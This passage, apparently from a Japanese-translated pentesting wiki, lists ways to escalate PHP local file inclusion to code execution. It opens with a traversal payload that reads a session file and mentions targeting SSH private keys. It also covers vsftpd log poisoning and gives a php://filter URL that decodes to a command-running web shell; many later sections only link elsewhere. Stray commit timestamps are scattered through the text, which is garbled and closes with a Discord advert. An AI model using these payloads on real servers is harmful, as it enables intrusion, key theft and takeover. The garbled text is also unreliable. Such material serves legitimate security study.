login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### SSH経由
sshがアクティブである場合は、使用されているユーザーを確認します/proc/self/statusおよび/etc/passwdし、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
### **vsftpd** _**ログ**_ 経由
FTPサーバーvsftpdのログは _**/var/log/vsftpd.log**_ にあります。ローカルファイルインクルージョンLFI脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順が考慮されます
1. ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。
2. インジェクション後、LFIを使用して _**/var/log/vsftpd.log**_ からサーバーログを取得します。
### PHPベース64フィルター経由base64を使用
2020-12-23 09:40:41 +00:00
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを使用してファイル拡張子のチェックをバイパスできますbase64を提供し、それが".php"で終わる場合、"."を無視して"php"をbase64に追加します。以下は例です
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### phpフィルターを介してファイル不要
この[**解説**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して**任意のコンテンツを出力できることを説明しています。つまり、**ファイルに書き込む必要なしに**、インクルード用に**任意のphpコードを生成**できます。
2022-06-20 00:29:51 +00:00
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### セグメンテーションフォールトを介して
2022-12-14 00:23:57 +00:00
`/tmp`に**一時的に保存**されるファイルを**アップロード**し、**同じリクエスト**で**セグメンテーションフォールト**をトリガーし、その後**一時ファイルが削除されなくなり**、それを検索できます。
2022-12-14 00:23:57 +00:00
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Nginxの一時ファイルストレージを介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
### PHP\_SESSION\_UPLOAD\_PROGRESSを介して
2022-04-20 21:55:42 +00:00
セッションがなく、`session.auto_start``Off`でも**ローカルファイルインクルージョン**を見つけた場合、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPが**セッションを有効に**します。これを悪用してRCEを取得できます
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
2022-04-21 00:07:27 +00:00
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
### Windowsでの一時ファイルアップロードを介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
### phpinfo()file\_uploads = onを介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**を見つけ、file\_uploads = onでphpinfo()を公開するファイルがある場合、RCEを取得できます
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
2022-04-20 21:55:42 +00:00
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
2022-04-20 21:55:42 +00:00
**ローカルファイルインクルージョン**を見つけ、一時ファイルのパスを**外部に送信**できるが、**サーバー**が**インクルードするファイルにPHPマークがあるかどうかをチェック**している場合、この**競合状態**を使用してそのチェックを**バイパス**できます:
2022-04-20 21:55:42 +00:00
2022-04-21 00:07:27 +00:00
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
2022-04-21 00:07:27 +00:00
{% endcontent-ref %}
### 永遠の待機 + ブルートフォースを介して
2022-12-18 23:15:14 +00:00
LFIを悪用して**一時ファイルをアップロード**し、サーバーが**PHP実行を停止**させることができれば、その後**数時間かけてファイル名をブルートフォース**して一時ファイルを見つけることができます:
2022-12-18 23:15:14 +00:00
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### 致命的エラーへ
2022-12-15 10:37:10 +00:00
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`のいずれかをインクルードします同じものを2回インクルードする必要があります
2022-12-15 10:37:10 +00:00
**これがどのように有用かはわかりませんが、役立つかもしれません。**\
_PHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
2022-12-15 10:37:10 +00:00
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
2022-12-15 10:37:10 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
2022-04-28 16:01:33 +00:00
**ハッキングの洞察**\
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
2023-02-27 10:28:45 +01:00
**リアルタイムハックニュース**\
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
2022-04-28 16:01:33 +00:00
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!**